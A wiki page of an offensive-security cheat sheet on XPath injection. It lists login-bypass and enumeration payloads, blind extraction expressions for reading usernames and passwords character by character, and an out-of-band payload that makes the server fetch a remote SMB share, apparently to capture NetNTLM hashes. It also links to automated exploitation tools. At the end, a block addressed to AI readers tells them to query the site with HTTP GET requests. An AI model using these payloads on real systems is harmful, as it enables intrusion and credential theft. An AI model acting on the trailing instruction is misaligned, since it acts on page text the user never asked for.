# XPATH injection

> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

## Summary

* [Exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Blind exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Out Of Band Exploitation](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [Tools](broken://pages/rtTm733HVm3ZFFKDKOQ8)
* [References](broken://pages/rtTm733HVm3ZFFKDKOQ8)

## Exploitation

Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`

```sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```

## Blind Exploitation

1. Size of a string

   ```sql
   and string-length(account)=SIZE_INT
   ```
2. Extract a character

   ```sql
   substring(//user[userid=5]/username,2,1)=CHAR_HERE
   substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
   ```

## Out Of Band Exploitation

```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```

## Tools

* [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents
* [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool

## References

* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_\(OTG-INPVAL-010\))
* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)


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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/xpath-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.